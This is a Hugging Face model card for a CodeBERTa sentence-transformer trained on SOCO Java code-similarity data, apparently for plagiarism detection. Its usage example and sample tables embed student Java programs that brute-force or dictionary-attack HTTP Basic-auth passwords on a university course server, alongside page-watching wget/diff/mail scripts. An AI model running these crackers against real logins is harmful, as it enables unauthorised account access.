CoolFace
Modelpublic

buelfhood/SOCO-Java-CodeBERTa-MNRL-Triplets-BATL-EVAL-BCE-Ep2

sourceHugging Faceupdated 1y agoView on Hugging Face
0likes83downloads
Model Card

SentenceTransformer based on huggingface/CodeBERTa-small-v1

This is a sentence-transformers model finetuned from huggingface/CodeBERTa-small-v1 on the soco_train_java dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

  • Model Type: Sentence Transformer
  • Base model: huggingface/CodeBERTa-small-v1 <!-- at revision e93b5898cff07f03f1c1c09cde284d1b85962363 -->
  • Maximum Sequence Length: 512 tokens
  • Output Dimensionality: 768 dimensions
  • Similarity Function: Cosine Similarity
  • Training Dataset:
  • soco_train_java <!-- - Language: Unknown --> <!-- - License: Unknown -->

Model Sources

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

bash
pip install -U sentence-transformers

Then you can load this model and run inference.

python
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-MNRL-Triplets-BATL-EVAL-BCE-Ep2")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\n\npublic class BruteForce {\n  private String strUserName;\n  private String strURL;\n  private int iAttempts;\n  \n  public BruteForce(String strURL,String strUserName) {\n    this.strURL = strURL;\n    this.strUserName = strUserName;\n    this.iAttempts = 0 ;\n\n  }\n  \n  public String getPassword(){\n      URL u;\n      String result ="";\n      PassGenBrute PG = new PassGenBrute(3);\n      URLConnection uc;\n      String strPassword = new String();\n      String strEncode;\n      try{\n        while (result.compareTo("HTTP/1.1 200 OK")!=0){\n        \n          strEncode = PG.getNewPassword();\n          u = new URL(strURL);\n          uc = u.openConnection();\n          uc.setDoInput(true);\n          uc.setDoOutput(true);\n          strPassword = strEncode;\n          strEncode =  strUserName + ":" + strEncode;\n        \n          strEncode = new String(Base64.encode(strEncode.getBytes()));\n          uc.setRequestProperty("Authorization"," " + strEncode);\n        \n          result = uc.getHeaderField(0);\n          uc = null;\n          u = null;\n          iAttempts++;\n        }\n\n      }\n      catch (Exception me) {\n      System.out.println("MalformedURLException: "+me);\n      }\n      return(strPassword);\n  }\n  \n  public int getAttempts(){\n    return (iAttempts);\n  };\n  \n  public static void main (String arg[]){\n     timeStart = 0;\n     timeEnd = 0;\n    \n    if (arg.length == 2) {\n       BruteForce BF = new BruteForce(arg[0],arg[1]);\n       System.out.println("Processing ... ");\n       timeStart = System.currentTimeMillis();\n       \n       System.out.println("Password = " + BF.getPassword());\n       timeEnd = System.currentTimeMillis();\n       System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)");\n       System.out.println("Total Attempts  = " + BF.getAttempts());\n    }\n    else {\n       System.out.println("[Usage] java BruteForce <URL> <USERNAME>");\n\n    }\n\n  }\n}\n\nclass PassGenBrute {\n  private char[] password;\n  public PassGenBrute(int lenght) {\n    password = new char[lenght];\n    for (int i = 0; i < lenght; i++){\n      password[i] = 65;\n    }\n    password[0]--;\n  }\n  \n  public String getNewPassword()\n    throws PasswordFailureException{\n    password[0]++;\n\n    try {\n      for (int i=0; i<password.length ; i++){\n        if (password[i] == 90) {\n          password[i] = 97;\n        }\n        if (password[i] > 122) {\n          password[i] = 65;\n          password[i+1]++;\n        }\n      }\n    }\n    catch (RuntimeException re){\n      throw new PasswordFailureException ();\n    }\n    return new String(password);\n  }\n}\n\nclass PasswordFailureException extends RuntimeException {\n\n  public PasswordFailureException() {\n  }\n}',
    'import java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary {\n  private String strUserName;\n  private String strURL;\n  private String strDictPath;\n  private int iAttempts;\n\n    \n    public Dictionary(String strURL,String strUserName,String strDictPath) {\n    this.strURL = strURL;\n    this.strUserName = strUserName;\n    this.iAttempts = 0 ;\n    this.strDictPath = strDictPath;\n    }\n  \n\n  public String getPassword(){\n      URL u;\n      String result ="";\n      PassGenDict PG = new PassGenDict(3,strDictPath);\n      URLConnection uc;\n      String strPassword = new String();\n      String strEncode;\n        try{\n        while (result.compareTo("HTTP/1.1 200 OK")!=0){\n      \n          strEncode = PG.getNewPassword();\n          u = new URL(strURL);\n          uc = u.openConnection();\n          uc.setDoInput(true);\n          uc.setDoOutput(true);\n          strPassword = strEncode;\n          strEncode =  strUserName + ":" + strEncode;\n          \n        strEncode = new String(Base64.encode(strEncode.getBytes()));\n          uc.setRequestProperty("Authorization"," " + strEncode);\n            \n      result = uc.getHeaderField(0);\n          uc = null;\n          u = null;\n          iAttempts++;\n        }\n\n      }\n      catch (Exception me) {\n      System.out.println("MalformedURLException: "+me);\n      }\n      return(strPassword);\n  }\n \n   public int getAttempts(){\n    return (iAttempts);\n  };\n  \n  public static void  main(String arg[]){\n     timeStart = 0;\n     timeEnd = 0;\n    \n    if (arg.length == 3) {\n    Dictionary BF = new Dictionary(arg[0],arg[1],arg[2]);\n\n    System.out.println("Processing ... ");\n    timeStart = System.currentTimeMillis();\n    System.out.println("Password = " + BF.getPassword());\n    timeEnd = System.currentTimeMillis();\n    System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)");\n    System.out.println("Total Attempts  = " + BF.getAttempts());\n    }\n    else {\n       System.out.println("[Usage] java BruteForce <URL> <USERNAME> <Dictionary path>");\n\n    }\n\n  }\n}\n\n\nclass PassGenDict {\n\n  private char[] password;\n  private String line;\n  int iPassLenght;\n  private BufferedReader inputFile;\n  public PassGenDict(int lenght, String strDictPath) {\n    try{\n      inputFile = new BufferedReader(new FileReader(strDictPath));\n    }\n    catch (Exception e){\n    }\n    iPassLenght = lenght;\n  }\n   \n public String getNewPassword()\n    throws PasswordFailureException{\n    try {\n      {\n        line = inputFile.readLine();\n      }while (line.length() != iPassLenght);\n\n    }\n    catch (Exception e){\n      throw new PasswordFailureException ();\n    }\n    return (line);\n  }\n}\n\nclass PasswordFailureException extends RuntimeException {\n\n  public PasswordFailureException() {\n  }\n}',
    'import java.util.*;\nimport java.io.*;\nimport javax.swing.text.html.*;\n\n\npublic class WatchDog {\n\n  public WatchDog() {\n\n  }\n  public static void main (String args[]) {\n    DataInputStream newin;\n\n    try{\n      System.out.println("ishti");\n\n      System.out.println("Downloading first copy");\n      Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");\n      String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};\n      String[] cmdMail = {"//sh", "-c", "mailx -s \\"Diffrence\\" \\"@cs.rmit.edu.\\" < Diff.txt"};\n      while(true){\n            Thread.sleep(24*60*60*1000);\n            System.out.println("Downloading new copy");\n            Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");\n            Thread.sleep(2000);\n            Runtime.getRuntime().exec(cmdDiff);\n            Thread.sleep(2000);\n            newin = new DataInputStream( new FileInputStream( "Diff.txt"));\n            if (newin.readLine() != null){\n               System.out.println("Sending Mail");\n               Runtime.getRuntime().exec(cmdMail);\n               Runtime.getRuntime().exec("cp newfile.html oldfile.html");\n\n            }\n        }\n\n    }\n    catch(Exception e){\n      e.printStackTrace();\n    }\n\n    }\n\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[ 1.0000,  0.9997, -0.1560],
#         [ 0.9997,  1.0000, -0.1547],
#         [-0.1560, -0.1547,  1.0000]])

<!--

Direct Usage (Transformers)

<details><summary>Click to see the direct usage in Transformers</summary>

</details> -->

<!--

Downstream Usage (Sentence Transformers)

You can finetune this model on your own dataset.

<details><summary>Click to expand</summary>

</details> -->

<!--

Out-of-Scope Use

List how the model may foreseeably be misused and address what users ought not to do with the model. -->

Evaluation

Metrics

Binary Classification
MetricValue
cosine_accuracy0.998
cosineaccuracythreshold0.967
cosine_f10.75
cosinef1threshold0.967
cosine_precision1.0
cosine_recall0.6
cosine_ap0.607
cosine_mcc0.7738

<!--

Bias, Risks and Limitations

What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model. -->

<!--

Recommendations

What are recommendations with respect to the foreseeable issues? For example, filtering explicit content. -->

Training Details

Training Dataset

socotrainjava
  • Dataset: soco_train_java at 44ca4ff
  • Size: 38,664 training samples
  • Columns: <code>anchorcode</code>, <code>positivecode</code>, and <code>negative_code</code>
  • Approximate statistics based on the first 1000 samples: | | anchorcode | positivecode | negative_code | |:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| | type | string | string | string | | details | <ul><li>min: 51 tokens</li><li>mean: 466.15 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 467.06 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 454.38 tokens</li><li>max: 512 tokens</li></ul> |
  • Samples: | anchorcode | positivecode | negative_code | |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | <code><br><br>import java.io.;<br>import java.net.;<br>import java.misc.BASE64Encoder;<br><br>public class Dictionary<br>{<br> public Dictionary()<br> {}<br><br> public boolean fetchURL(String urlString,String username,String password)<br> {<br> StringWriter sw= new StringWriter();<br> PrintWriter pw = new PrintWriter();<br> try{<br> URL url=new URL(urlString); <br> String userPwd= username+":"+password;<br><br> <br> <br> <br> <br><br> BASE64Encoder encoder = new BASE64Encoder();<br> String encodedStr = encoder.encode (userPwd.getBytes());<br> System.out.println("Original String = " + userPwd);<br> System.out.println("Encoded String = " + encodedStr);<br><br> HttpURLConnection huc=(HttpURLConnection) url.openConnection(); <br> huc.setRequestProperty( "Authorization"," "+encodedStr); <br> InputStream content = (InputStream)huc.getInputStream();<br> BufferedReader in =<br> new BufferedReader (new InputStreamReader (content));<br> String line;<br> while ((line = in.readLine())...</code> | <code><br><br>import java.io.;<br>import java.net.;<br>import java.misc.BASE64Encoder;<br><br>public class BruteForce<br>{<br> public BruteForce()<br> {}<br><br> public boolean fetchURL(String urlString,String username,String password)<br> {<br> StringWriter = new StringWriter();<br> PrintWriter pw = new PrintWriter();<br> try{<br> URL url=new URL(urlString); <br> String userPwd= username+":"+password;<br><br> <br> <br> <br> <br><br> BASE64Encoder encoder = new BASE64Encoder();<br> String encodedStr = encoder.encode (userPwd.getBytes());<br> System.out.println("Original String = " + userPwd);<br> System.out.println("Encoded String = " + encodedStr);<br><br> HttpURLConnection huc=(HttpURLConnection) url.openConnection(); <br> huc.setRequestProperty( "Authorization"," "+encodedStr); <br> InputStream content = (InputStream)huc.getInputStream();<br> BufferedReader in = <br> new BufferedReader (new InputStreamReader (content));<br> String line;<br> while ((line = in.readLine()) ...</code> | <code><br><br>import java.net.;<br>import java.io.;<br>import java.util.;<br><br>public class Dictionary{<br><br> private static URL location;<br> private static String user;<br> private BufferedReader input;<br> private static BufferedReader dictionary;<br> private int maxLetters = 3;<br><br> <br><br> public Dictionary() {<br> <br> Authenticator.setDefault(new MyAuthenticator ());<br><br> startTime = System.currentTimeMillis();<br> boolean passwordMatched = false;<br> while (!passwordMatched) {<br> try {<br> input = new BufferedReader(new InputStreamReader(location.openStream()));<br> String line = input.readLine();<br> while (line != null) {<br> System.out.println(line);<br> line = input.readLine();<br> }<br> input.close();<br> passwordMatched = true;<br> }<br> catch (ProtocolException e)<br> {<br> <br> <br> }<br> catch (ConnectException e) {<br> System.out.println("Failed connect");<br> }<br> catch (IOException e) ...</code> | | <code><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br><br>public class WatchdogPropertyHelper {<br><br> private static Properties testProps;<br><br><br><br> public WatchdogPropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the watchddog Props");<br> e.printStackTrace();<br> }<br> return testProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(testProps == null){<br> testProps = new Properties();<br><br> InputStream fis =<br> WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties");<br> testProps.load(fis);<br> }<br> }<br>}<br></code> | <code><br><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br>public class BruteForcePropertyHelper {<br><br> private static Properties bruteForceProps;<br><br><br><br> public BruteForcePropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the burteforce Props");<br> e.printStackTrace();<br> }<br> return bruteForceProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(bruteForceProps == null){<br> bruteForceProps = new Properties();<br><br> InputStream fis =<br> BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");<br> bruteForceProps.load(fis);<br> }<br> }<br>}<br><br></code> | <code><br><br><br><br><br><br><br><br>import java.io.;<br>import java.net.;<br>import javax.swing.Timer;<br>import java.awt.event.;<br>import javax.swing.JOptionPane;<br><br>public class WatchDog <br>{<br> private static Process pro = null;<br> private static Runtime run = Runtime.getRuntime();<br> <br> public static void main(String[] args) <br> {<br> String cmd = null;<br> try<br> {<br> cmd = new String("wget -O original.txt http://www.cs.rmit.edu./students/");<br><br> pro = run.exec(cmd);<br> System.out.println(cmd);<br> }<br> catch (IOException e)<br> {<br> }<br> <br> class Watch implements ActionListener<br> {<br> BufferedReader in = null;<br> String str = null;<br> Socket socket;<br> public void actionPerformed (ActionEvent event)<br> {<br> <br> try<br> {<br> System.out.println("in Watch!");<br> String cmd = new String();<br> int ERROR = 1;<br> cmd = new String("wget -O new.txt http://www.cs.rmit.edu./students/");<br><br><br> System.out.println(cmd);<br> cmd = new String("diff original.txt new.txt");<br> pro = run.exec(cmd);<br> System.out.println(cmd);<br> in = new Buf...</code> | | <code><br>import java.net.; <br>import java.io.; <br>public class BruteForce {<br>private static String password=" "; <br><br> <br> public static void main(String[] args) {<br> String Result=""; <br> if (args.length<1)<br> {<br> System.out.println("Error: Correct Format Filename, username e.g<>"); <br> System.exit(1); <br> }<br> BruteForce bruteForce1 = new BruteForce();<br> Result=bruteForce1.Password("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]); <br> System.out.println("The Password of "+args[0]+"is.."+Result); <br> <br> }<br><br><br><br> private String Password(String urlString,String username) <br> { <br> int cnt=0;<br> <br> t0 = System.currentTimeMillis(); <br> for ( char ch = 'A'; ch <= 'z'; ch++ )<br> { <br> if (ch>'Z' && ch<'a')<br> { <br> ch='a'; <br> } <br> <br> for ( char ch1 = 'A'; ch1 <= 'z'; ch1++ )<br> { <br> <br> if (ch1>'Z' && ch1<'a')<br> { <br> ch1='a'; <br> }<br><br><br> for ( char ch2 = 'A'; ch2 <= 'z'; ch2++ )<br> { <br> if (ch2>'Z' && ch2<'a')<br> { <br> ...</code> | <code><br><br>import java.net.; <br>import java.io.; <br>import java.util.Date; <br>public class Dictionary{<br>private static String password=" "; <br><br> <br> public static void main(String[] args) {<br> String Result=""; <br> if (args.length<1)<br> {<br> System.out.println("Correct Format Filename username e.g<>"); <br> System.exit(1); <br> }<br> <br> Dictionary dicton1 = new Dictionary();<br> Result=dicton1.Dict("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]); <br> System.out.println("Cracked Password for The User "+args[0]+" The Password is.."+Result); <br> <br><br> <br> <br> }<br><br><br><br> private String Dict(String urlString,String username) <br> { <br> int cnt=0;<br> FileInputStream stream=null;<br> DataInputStream word=null;<br><br> try{ <br> stream = new FileInputStream ("/usr/share/lib/dict/words"); <br><br> word =new DataInputStream(stream);<br> t0 = System.currentTimeMillis(); <br> while (word.available() !=0) <br> {<br> <br> password=word.readLine();<br> if (password.length()!=3)<br> {<br> continue;<br> }<br> System.out.print("...</code> | <code><br>package java.httputils;<br><br>import java.io.IOException;<br>import java.net.MalformedURLException;<br>import java.util.ArrayList;<br>import java.util.Iterator;<br><br><br>public class RunnableHttpRequest extends Thread<br>{<br> protected String targetURL = "http://localhost:8080/";<br> protected int requestCount = 1;<br> protected ArrayList timingList = new ArrayList();<br> protected HttpRequestClient req;<br> Boolean finished = new Boolean(false);<br> HttpRequestThreadPool pool;<br><br> <br> public void run()<br> {<br> try<br> {<br> for (int i = 0; i < getRequestCount() && !getFinished().booleanValue(); i++)<br> {<br> try<br> {<br> req =<br> new HttpRequestClient(getTargetURL());<br><br> <br> }<br> catch (MalformedURLException e)<br> {<br> e.printStackTrace();<br> break;<br> }<br> catch (IOException e)<br> {<br> ...</code> |
  • Loss: <code>MultipleNegativesRankingLoss</code> with these parameters:
json
  {
      "scale": 20.0,
      "similarity_fct": "cos_sim",
      "gather_across_devices": false
  }

Evaluation Dataset

socotrainjava
  • Dataset: soco_train_java at 44ca4ff
  • Size: 4,296 evaluation samples
  • Columns: <code>anchorcode</code>, <code>positivecode</code>, and <code>negative_code</code>
  • Approximate statistics based on the first 1000 samples: | | anchorcode | positivecode | negative_code | |:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| | type | string | string | string | | details | <ul><li>min: 51 tokens</li><li>mean: 465.22 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 464.66 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 458.05 tokens</li><li>max: 512 tokens</li></ul> |
  • Samples: | anchorcode | positivecode | negative_code | |:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | <code><br><br><br><br><br><br>import java.util.;<br>import java.io.;<br><br>public class WatchDog<br>{ <br><br> public static void main(String args[])<br> {<br><br> Runtime rt1 = Runtime.getRuntime();<br> Process prss1= null;<br><br> try<br> {<br> prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/");<br> }catch(java.io.IOException e){}<br><br> MyWatchDogTimer w = new MyWatchDogTimer();<br> Timer time = new Timer();<br> time.schedule(w,864000000,864000000);<br><br> <br> }<br>}<br></code> | <code> <br><br><br><br><br>import java.util.;<br>import java.io.;<br><br>public class MyTimer<br>{ <br><br> public static void main(String args[])<br> {<br> Watchdog watch = new Watchdog();<br> Timer time = new Timer();<br> time.schedule(watch,864000000,864000000);<br> <br> <br> }<br>}<br></code> | <code>import java.net.; <br>import java.io.; <br>import java.util.Vector;<br>import java.util.Date;<br>import java.security.;<br><br><br><br><br><br><br><br><br><br><br><br> <br>public class Dictionary { <br> public static BufferedReader in;<br> <br> <br> public static void main(String[] args) throws Exception { <br> String baseURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; <br> int count=0;<br> Date date = new Date();<br> startTime=date.getTime();<br> int LIMITINMINUTES=45;<br> int TIMELIMIT=LIMITINMINUTES100060;<br> boolean timedOut=false;<br> boolean found=false;<br> <br> <br> Vector dictionary=new Vector(readWords());<br> System.out.println("Words in dictionary: "+dictionary.size());<br> <br> <br> <br> <br> <br> <br> <br> while (found==false && timedOut==false && dictionary.elementAt(count)!=null) {<br> <br> Date endDate = new Date();<br> endTime=endDate.getTime(); <br> if (endTime>(TIMELIMIT+startTime)){<br> System.out.println("Timed out");<br> timedOut=true;<br> }<br> <br> String password = "";<br><br> ...</code> | | <code><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br><br><br>public class MailsendPropertyHelper {<br><br> private static Properties testProps;<br><br> public MailsendPropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the watchddog Props");<br> e.printStackTrace();<br> }<br> return testProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(testProps == null){<br> testProps = new Properties();<br><br> InputStream fis =<br> MailsendPropertyHelper.class.getResourceAsStream("/mailsend.properties");<br> testProps.load(fis);<br> }<br> }<br>}<br><br><br><br><br><br></code> | <code><br><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br>public class BruteForcePropertyHelper {<br><br> private static Properties bruteForceProps;<br><br><br><br> public BruteForcePropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the burteforce Props");<br> e.printStackTrace();<br> }<br> return bruteForceProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(bruteForceProps == null){<br> bruteForceProps = new Properties();<br><br> InputStream fis =<br> BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");<br> bruteForceProps.load(fis);<br> }<br> }<br>}<br><br></code> | <code><br>import java.net.;<br>import java.io.;<br>import java.Ostermiller.util.;<br>import java.util.;<br><br>public class MyClient2 implements Runnable<br>{<br> private String hostname;<br> private int port;<br> private String filename;<br> private Socket s;<br> private int n;<br> private InputStream sin;<br> private OutputStream sout;<br> private int dif;<br> private String myPassword;<br> private int status;<br> private int myTime;<br> private BruteForce myMaster;<br> <br><br> public MyClient2(BruteForce bf , int num, int myPort, String password)<br> {<br> <br> hostname = new String("sec-crack.cs.rmit.edu.");<br> port = myPort;<br> status = 0;<br> myTime = 0;<br> myPassword = password;<br> filename = new String("/SEC/2/");<br> myMaster = 0;<br> n = num;<br> dif = 0;<br> <br> }<br> public getDif()<br> {<br> return dif;<br> }<br> public int getStatus()<br> {<br> return status;<br> }<br> public void run() <br> {<br> String inputLine;<br> String[] tokens = new String[5];<br> int i;<br> myTime = 0;<br> ...</code> | | <code>import java.io.;<br>import java.net.;<br>import java.util.;<br><br><br>public class Dictionary<br>{<br> public static void main (String args[])<br> {<br> <br> <br> Calendar cal = Calendar.getInstance();<br> Date now=cal.getTime();<br> double startTime = now.getTime();<br><br> String password=getPassword(startTime);<br> System.out.println("The password is " + password);<br> }<br><br> public static String getPassword(double startTime)<br> {<br> String password="";<br> int requests=0;<br><br> try<br> {<br> <br> FileReader fRead = new FileReader("/usr/share/lib/dict/words");<br> BufferedReader buf = new BufferedReader(fRead);<br><br> password=buf.readLine();<br><br> while (password != null)<br> {<br> <br> if (password.length()<=3)<br> {<br> requests++;<br> if (testPassword(password, startTime, requests))<br> return password;<br> }<br><br> password = buf.readLine();<br><br> }<br> }<br> catch (IOException ioe)<br> {<br><br> }<br><br> return password;<br> }<br><br> private static boolean testPassword(String password, double startTime, int requests)<br> {<br> try<br> {<br> <br> <br> U...</code> | <code>import java.io.;<br>import java.net.;<br>import java.util.;<br><br><br>public class BruteForce<br>{<br><br> public static void main(String args[])<br> {<br> <br> <br> Calendar cal = Calendar.getInstance();<br> Date now=cal.getTime();<br> double startTime = now.getTime();<br><br> String password=getPassword(startTime);<br> System.out.println("The password is " + password);<br> }<br><br> public static String getPassword(double startTime)<br> {<br> char first, second, third;<br> String password="";<br> int requests=0;<br><br> <br> for (int i=65; i<123; i++)<br> {<br> requests++;<br> first = (char) i;<br><br> password = first + "";<br><br> <br> if (testPassword(password, startTime, requests))<br> return password;<br><br> for (int j=65; j<123; j++)<br> {<br> requests++;<br> second = (char) j;<br><br> password = first + "" + second;<br><br> <br> if (testPassword(password, startTime, requests))<br> return password;<br><br> for (int k=65; k<123; k++)<br> {<br> requests++;<br> third = (char) k;<br><br> password = first + "" + second + "" + third;<br><br> <br> if (test...</code> | <code><br><br>import java.misc.BASE64Encoder;<br>import java.misc.BASE64Decoder;<br>import java.io.;<br>import java.net.;<br>import java.util.;<br><br><br><br>public class Dictionary {<br> <br> public Dictionary(String url, String dictionaryFile) {<br> try{<br> this.url = url;<br> this.dictionaryPath = dictionaryFile;<br> InputStream fis = new FileInputStream(this.dictionaryPath);<br> dict = new BufferedReader(new InputStreamReader(fis));<br><br> }catch(IOException ioe){<br> System.out.println("Error opening dictionary file:\n" +ioe);<br> }<br> }<br><br><br> <br> private String url = null;<br> <br> private String dictionaryPath = null;<br> <br> private BufferedReader dict = null;<br> <br> private int attempts = 0;<br> <br> private int passwordSize = 3;<br> <br> public void setPasswordSize(int size){<br> this.passwordSize = size;<br> }<br> <br> public String getNextPassword()throws IOException{<br><br> String line = dict.readLine();<br><br> while(line!=null&&line.length()!=this.passwordSize )<br> line = dict.readLine();<br><br> return line;<br> }<br> <br> publ...</code> |
  • Loss: <code>MultipleNegativesRankingLoss</code> with these parameters:
json
  {
      "scale": 20.0,
      "similarity_fct": "cos_sim",
      "gather_across_devices": false
  }

Training Hyperparameters

Non-Default Hyperparameters
  • per_device_train_batch_size: 16
  • num_train_epochs: 2
  • warmup_ratio: 0.1
  • fp16: True
All Hyperparameters

<details><summary>Click to expand</summary>

  • overwrite_output_dir: False
  • do_predict: False
  • eval_strategy: no
  • prediction_loss_only: True
  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 8
  • per_gpu_train_batch_size: None
  • per_gpu_eval_batch_size: None
  • gradient_accumulation_steps: 1
  • eval_accumulation_steps: None
  • torch_empty_cache_steps: None
  • learning_rate: 5e-05
  • weight_decay: 0.0
  • adam_beta1: 0.9
  • adam_beta2: 0.999
  • adam_epsilon: 1e-08
  • max_grad_norm: 1.0
  • num_train_epochs: 2
  • max_steps: -1
  • lr_scheduler_type: linear
  • lr_scheduler_kwargs: {}
  • warmup_ratio: 0.1
  • warmup_steps: 0
  • log_level: passive
  • log_level_replica: warning
  • log_on_each_node: True
  • logging_nan_inf_filter: True
  • save_safetensors: True
  • save_on_each_node: False
  • save_only_model: False
  • restore_callback_states_from_checkpoint: False
  • no_cuda: False
  • use_cpu: False
  • use_mps_device: False
  • seed: 42
  • data_seed: None
  • jit_mode_eval: False
  • use_ipex: False
  • bf16: False
  • fp16: True
  • fp16_opt_level: O1
  • half_precision_backend: auto
  • bf16_full_eval: False
  • fp16_full_eval: False
  • tf32: None
  • local_rank: 0
  • ddp_backend: None
  • tpu_num_cores: None
  • tpu_metrics_debug: False
  • debug: []
  • dataloader_drop_last: False
  • dataloader_num_workers: 0
  • dataloader_prefetch_factor: None
  • past_index: -1
  • disable_tqdm: False
  • remove_unused_columns: True
  • label_names: None
  • load_best_model_at_end: False
  • ignore_data_skip: False
  • fsdp: []
  • fsdp_min_num_params: 0
  • fsdp_config: {'minnumparams': 0, 'xla': False, 'xlafsdpv2': False, 'xlafsdpgrad_ckpt': False}
  • fsdp_transformer_layer_cls_to_wrap: None
  • accelerator_config: {'splitbatches': False, 'dispatchbatches': None, 'evenbatches': True, 'useseedablesampler': True, 'nonblocking': False, 'gradientaccumulationkwargs': None}
  • parallelism_config: None
  • deepspeed: None
  • label_smoothing_factor: 0.0
